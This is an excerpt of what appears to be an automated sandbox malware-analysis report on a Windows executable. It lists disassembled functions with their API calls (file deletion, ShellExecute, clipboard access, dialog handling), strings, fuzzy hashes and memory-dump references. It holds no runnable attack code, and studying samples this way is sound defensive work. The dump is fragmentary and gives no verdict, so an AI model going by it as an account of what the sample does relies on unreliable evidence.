Instruction ID: 6a9dac85b633d085c252a5e98b17eff4fa9db91ceb9277f9f5c2807d74357857
Opcode Fuzzy Hash: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
Instruction Fuzzy Hash: DCE0E63215026AABDF109E559C04AEB775CEF05751F014836F916E6190D631E93197A4

Function 00405B68 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 00405B77

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExecuteShell
String ID:
API String ID: 587946157-0
Opcode ID: 34af207f7f04f37b2a6a243a8c8041682423b78b35e6f682d2e1a111f695392f
Instruction ID: 155326c85e208380d9db810c36285a9e1b4200be200639c8195ffcf147e959ee
Opcode Fuzzy Hash: 34af207f7f04f37b2a6a243a8c8041682423b78b35e6f682d2e1a111f695392f
Instruction Fuzzy Hash: BEC092B2000200EFE301CF80CB09F067BE8AF54306F028068E185DA060C7788840CB29

Function 00403590 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040328E,?), ref: 0040359E

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction ID: 036c8468b6dd2e012b37e6e875261c5f60c7cf4634656b07e897873a541603b6
Opcode Fuzzy Hash: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction Fuzzy Hash: 1FB01231140304BFDA214F10DF09F067B21BB94700F20C034B384380F086711435EB0D

Non-executed Functions

Function 004056E3 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405741
GetDlgItem.USER32(?,000003EE), ref: 00405750
GetClientRect.USER32(?,?), ref: 0040578D
GetSystemMetrics.USER32(00000002), ref: 00405794
SendMessageW.USER32(?,00001061,00000000,?), ref: 004057B5
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004057C6
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004057D9
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004057E7
SendMessageW.USER32(?,00001024,00000000,?), ref: 004057FA
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040581C
ShowWindow.USER32(?,00000008), ref: 00405830
GetDlgItem.USER32(?,000003EC), ref: 00405851
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405861
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 0040587A
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405886
GetDlgItem.USER32(?,000003F8), ref: 0040575F

Part of subcall function 004044C7: SendMessageW.USER32(00000028,?,00000001,004042F2), ref: 004044D5

GetDlgItem.USER32(?,000003EC), ref: 004058A3
CreateThread.KERNEL32(00000000,00000000,Function_00005677,00000000), ref: 004058B1
CloseHandle.KERNEL32(00000000), ref: 004058B8
ShowWindow.USER32(00000000), ref: 004058DC
ShowWindow.USER32(?,00000008), ref: 004058E1
ShowWindow.USER32(00000008), ref: 0040592B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040595F
CreatePopupMenu.USER32 ref: 00405970
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405984
GetWindowRect.USER32(?,?), ref: 004059A4
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004059BD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004059F5
OpenClipboard.USER32(00000000), ref: 00405A05
EmptyClipboard.USER32 ref: 00405A0B
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405A17
GlobalLock.KERNEL32(00000000), ref: 00405A21
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A35
GlobalUnlock.KERNEL32(00000000), ref: 00405A55
SetClipboardData.USER32(0000000D,00000000), ref: 00405A60
CloseClipboard.USER32 ref: 00405A66

Strings

{, xrefs: 00405949
H7B, xrefs: 004059D1

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: H7B${
API String ID: 590372296-2256286769
Opcode ID: de83834612293bf752b8c6c6de4c5caa3b4facca9786645fdbb76cb5e3bc5ba2
Instruction ID: babe9631ed489b332455c35fc9929fd6d80e8fe82f7b5f1866f1dd344d2d825a
Opcode Fuzzy Hash: de83834612293bf752b8c6c6de4c5caa3b4facca9786645fdbb76cb5e3bc5ba2
Instruction Fuzzy Hash: C9B159B1900608FFDF11AFA0DD85AAE7B79FB48354F00847AFA41A61A0CB754E51DF68

Function 00404983 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 004049D2
SetWindowTextW.USER32(00000000,?), ref: 004049FC
SHBrowseForFolderW.SHELL32(?), ref: 00404AAD
CoTaskMemFree.OLE32(00000000), ref: 00404AB8
lstrcmpiW.KERNEL32(open cmd,00423748,00000000,?,?), ref: 00404AEA
lstrcatW.KERNEL32(?,open cmd), ref: 00404AF6
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404B08

Part of subcall function 00405B86: GetDlgItemTextW.USER32(?,?,00000400,00404B3F), ref: 00405B99

Part of subcall function 004067EB: CharNextW.USER32(?,*?|<>/":,00000000,00000000,74DF3420,C:\Users\user\AppData\Local\Temp\,00435000,004035B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 0040684E
Part of subcall function 004067EB: CharNextW.USER32(?,?,?,00000000,?,00000007,00000009,0000000B), ref: 0040685D
Part of subcall function 004067EB: CharNextW.USER32(?,00000000,74DF3420,C:\Users\user\AppData\Local\Temp\,00435000,004035B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00406862
Part of subcall function 004067EB: CharPrevW.USER32(?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,00435000,004035B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00406875

GetDiskFreeSpaceW.KERNEL32(00421718,?,?,0000040F,?,00421718,00421718,?,00000001,00421718,?,?,000003FB,?), ref: 00404BCB
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404BE6

Part of subcall function 00404D3F: lstrlenW.KERNEL32(00423748,00423748,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404DE0
Part of subcall function 00404D3F: wsprintfW.USER32 ref: 00404DE9
Part of subcall function 00404D3F: SetDlgItemTextW.USER32(?,00423748), ref: 00404DFC

Strings

A, xrefs: 00404AA6
open cmd, xrefs: 00404AE4, 00404AE9, 00404AF4
H7B, xrefs: 00404A80

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$H7B$open cmd
API String ID: 2624150263-3876686485
Opcode ID: dd814ec643b45a90e93cf69e5cb033f89cff98d2f4c91cecb2b3846f87e86dba
Instruction ID: 8299be71a3cc8d15b5ba292867d4bcc1bae11f059afa92557538f40593a335a7
Opcode Fuzzy Hash: dd814ec643b45a90e93cf69e5cb033f89cff98d2f4c91cecb2b3846f87e86dba
Instruction Fuzzy Hash: 8EA193B1900209ABDB11AFA5DD45AAFB7B8EF84314F11803BF601B62D1D77C9941CB6D

Function 00405C4E Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,74DF3420,74DF2EE0,00000000), ref: 00405C77
lstrcatW.KERNEL32(00425750,\*.*), ref: 00405CBF
lstrcatW.KERNEL32(?,0040A014), ref: 00405CE2
lstrlenW.KERNEL32(?,?,0040A014,?,00425750,?,?,74DF3420,74DF2EE0,00000000), ref: 00405CE8
FindFirstFileW.KERNEL32(00425750,?,?,?,0040A014,?,00425750,?,?,74DF3420,74DF2EE0,00000000), ref: 00405CF8
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405D98
FindClose.KERNEL32(00000000), ref: 00405DA7

Strings

PWB, xrefs: 00405CA7
\*.*, xrefs: 00405CB9

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: PWB$\*.*
API String ID: 2035342205-3290065635
Opcode ID: 3a6aa6978e1e6dac12dbcf27a865e65220d343208ac152093f5b12310eb1b7a8
Instruction ID: 388f2befc2087cc18a81576ce5b748581f321be521e7d033b0a51c5b8adb9818
Opcode Fuzzy Hash: 3a6aa6978e1e6dac12dbcf27a865e65220d343208ac152093f5b12310eb1b7a8
Instruction Fuzzy Hash: C141CF30800A14BADB21AB65DC8DABF7678EF41718F50813BF841B51D1D77C4A82DEAE

Function 0040689A Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(74DF3420,00426798,00425F50,00405F62,00425F50,00425F50,00000000,00425F50,00425F50,74DF3420,?,74DF2EE0,00405C6E,?,74DF3420,74DF2EE0), ref: 004068A5
FindClose.KERNEL32(00000000), ref: 004068B1

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 1093b80bdde5f117a2aeaff90f04fc035896fcf98737a4a628a8a679d5dfa397
Instruction ID: 17741e7b15207d6702ed9fc8e7bdeca0d2b34881c01bff23dce0e4374d0b2feb
Opcode Fuzzy Hash: 1093b80bdde5f117a2aeaff90f04fc035896fcf98737a4a628a8a679d5dfa397
Instruction Fuzzy Hash: 1FD0C7315051205BD24116346D4C84765985F55331311CA36B4A5F11A0C7348C3246AC

Function 004021A2 Relevance: 1.6, APIs: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402221

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 5af9135ba59482d15b8eba766ae0685eae6086f6b6ffaba7cd38e99d6e7f92d4
Instruction ID: 3a0b8fa6945436ea0e4cb0e043321d643ed21fd69d70badd8d93d2b131f18866
Opcode Fuzzy Hash: 5af9135ba59482d15b8eba766ae0685eae6086f6b6ffaba7cd38e99d6e7f92d4
Instruction Fuzzy Hash: C9412775A00209AFCF00DFE4C989A9E7BB6FF48304B20457AF915EB2D1DB799981CB54

Function 00402902 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402911

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 73ea5844b7f20d7c5e79e975fdc737a0938daa2fd1a0c7191d7c211d4df56dda
Instruction ID: e1d09971df8357d0b6d26b0e23bbdd0a86073f761c05595cd8bb911c59de634c
Opcode Fuzzy Hash: 73ea5844b7f20d7c5e79e975fdc737a0938daa2fd1a0c7191d7c211d4df56dda
Instruction Fuzzy Hash: C9F08C71A00104AFC700DFA4ED499AEB378EF10314F70857BE916F21E0D7B89E119B2A

Function 00404EFF Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 490windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404F16
GetDlgItem.USER32(?,00000408), ref: 00404F23
GlobalAlloc.KERNEL32(00000040,?), ref: 00404F6F
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404F86
SetWindowLongW.USER32(?,000000FC,00405518), ref: 00404FA0
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404FB4
ImageList_AddMasked.COMCTL32(00000000,00000110,00FF00FF), ref: 00404FC8
SendMessageW.USER32(?,00001109,00000002), ref: 00404FDD
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404FE9
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404FFB
DeleteObject.GDI32(00000110), ref: 00405000
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 0040502B
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405037
SendMessageW.USER32(?,00001132,00000000,?), ref: 004050D2
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00405102

Part of subcall function 004044C7: SendMessageW.USER32(00000028,?,00000001,004042F2), ref: 004044D5

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405116
GetWindowLongW.USER32(?,000000F0), ref: 00405144
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00405152
ShowWindow.USER32(?,00000005), ref: 00405162
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405263
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004052C5
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 004052DA
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 004052FE
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405321
ImageList_Destroy.COMCTL32(?), ref: 00405336
GlobalFree.KERNEL32(?), ref: 00405346
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004053BF
SendMessageW.USER32(?,00001102,?,?), ref: 00405468
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405477
InvalidateRect.USER32(?,00000000,00000001), ref: 004054A1
ShowWindow.USER32(?,00000000), ref: 004054EF
GetDlgItem.USER32(?,000003FE), ref: 004054FA
ShowWindow.USER32(00000000), ref: 00405501

Strings

, xrefs: 004054D9
N, xrefs: 0040519E
M, xrefs: 004050BA

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 30c87aeda25f360d81773f0e2c70f123d365d9cc6a167c9b0a22042fa7f78e66
Instruction ID: 51cb895bf96748e94aa34dbd086816f234b0803d1cad36f3447be88a3ed44bf2
Opcode Fuzzy Hash: 30c87aeda25f360d81773f0e2c70f123d365d9cc6a167c9b0a22042fa7f78e66
Instruction Fuzzy Hash: 0C126970900609EFDF209FA5DC45AAE7BB5FB44314F10817AEA10BA2E1D7798A52CF58

Function 00403FB9 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403FF5
ShowWindow.USER32(?), ref: 00404012
DestroyWindow.USER32 ref: 00404026
SetWindowLongW.USER32(?,00000000,00000000), ref: 00404042
GetDlgItem.USER32(?,?), ref: 00404063
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00404077
IsWindowEnabled.USER32(00000000), ref: 0040407E
GetDlgItem.USER32(?,00000001), ref: 0040412C
GetDlgItem.USER32(?,00000002), ref: 00404136
SetClassLongW.USER32(?,000000F2,?), ref: 00404150
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 004041A1
GetDlgItem.USER32(?,00000003), ref: 00404247
ShowWindow.USER32(00000000,?), ref: 00404268
EnableWindow.USER32(?,?), ref: 0040427A
EnableWindow.USER32(?,?), ref: 00404295
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004042AB
EnableMenuItem.USER32(00000000), ref: 004042B2
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004042CA
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004042DD
lstrlenW.KERNEL32(00423748,?,00423748,00000000), ref: 00404307
SetWindowTextW.USER32(?,00423748), ref: 0040431B
ShowWindow.USER32(?,0000000A), ref: 0040444F

Strings

H7B, xrefs: 004042F7

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1899500235.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: H7B
API String ID: 184305955-2300413410
Opcode ID: ad2877bd5c4ea7cc256e3088b2b3c42cb38b7d734cc530d92285f8f03c2605ef
Instruction ID: 474293f91904d384e756f83d9200f154ec1a476d51ccc5c10f5d023ba508d08e
Opcode Fuzzy Hash: ad2877bd5c4ea7cc256e3088b2b3c42cb38b7d734cc530d92285f8f03c2605ef
Instruction Fuzzy Hash: 17C1B1B1600604FBCB216F61EE85E2A7BB8EB84705F40497EF741B51F1CB3958529B2E

Function 00404651 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004046EF
GetDlgItem.USER32(?,000003E8), ref: 00404703
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404720
GetSysColor.USER32(?), ref: 00404731
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040473F
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040474D
lstrlenW.KERNEL32(?), ref: 00404752
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040475F
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404774
GetDlgItem.USER32(?,0000040A), ref: 004047CD
SendMessageW.USER32(00000000), ref: 004047D4
GetDlgItem.USER32(?,000003E8), ref: 004047FF
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404842
LoadCursorW.USER32(00000000,00007F02), ref: 00404850
SetCursor.USER32(00000000), ref: 00404853
LoadCursorW.USER32(00000000,00007F00), ref: 0040486C
SetCursor.USER32(00000000), ref: 0040486F
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040489E
SendMessageW.USER32(00000010,00000000,00000000), ref: 004048B0

Strings

open cmd, xrefs: 0040482E
N, xrefs: 004047ED

Memory Dump Source

Source File: 00000000.00000002.1898617808.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1898577649.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898661399.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1898696956.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
